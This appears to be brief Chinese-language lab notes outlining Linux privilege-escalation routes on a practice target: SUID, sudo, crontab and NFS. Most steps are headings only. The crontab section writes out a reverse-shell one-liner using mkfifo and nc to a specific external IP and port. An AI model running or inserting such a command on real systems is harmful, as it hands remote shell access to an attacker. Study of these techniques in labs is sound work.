提权靶机..

找到ip

一、suid提权

1）执行语句查找suid文件

2）上辅助网站查找利用语句

3）输入语句，提权成功

二、sudo提权

1）查找sudu支持root权限的命令

2）到辅助网站查找相关利用方式

3）执行命令，提权成功

三、crontab计划任务提权

1）查看计划任务

2）写入文件

echo "mkfifo /tmp/dssvupb; nc 47.96.239.18 7788 0</tmp/dssvupb | /bin/sh >/tmp/dssvupb

2>&1; rm /tmp/dssvupb" > shell.sh && chmod +x shell.sh

3）输入命令

4）反弹成功

四、第三方服务NFS提权

1）查看共享目录

2）kali创建文件夹

3）挂载本地目录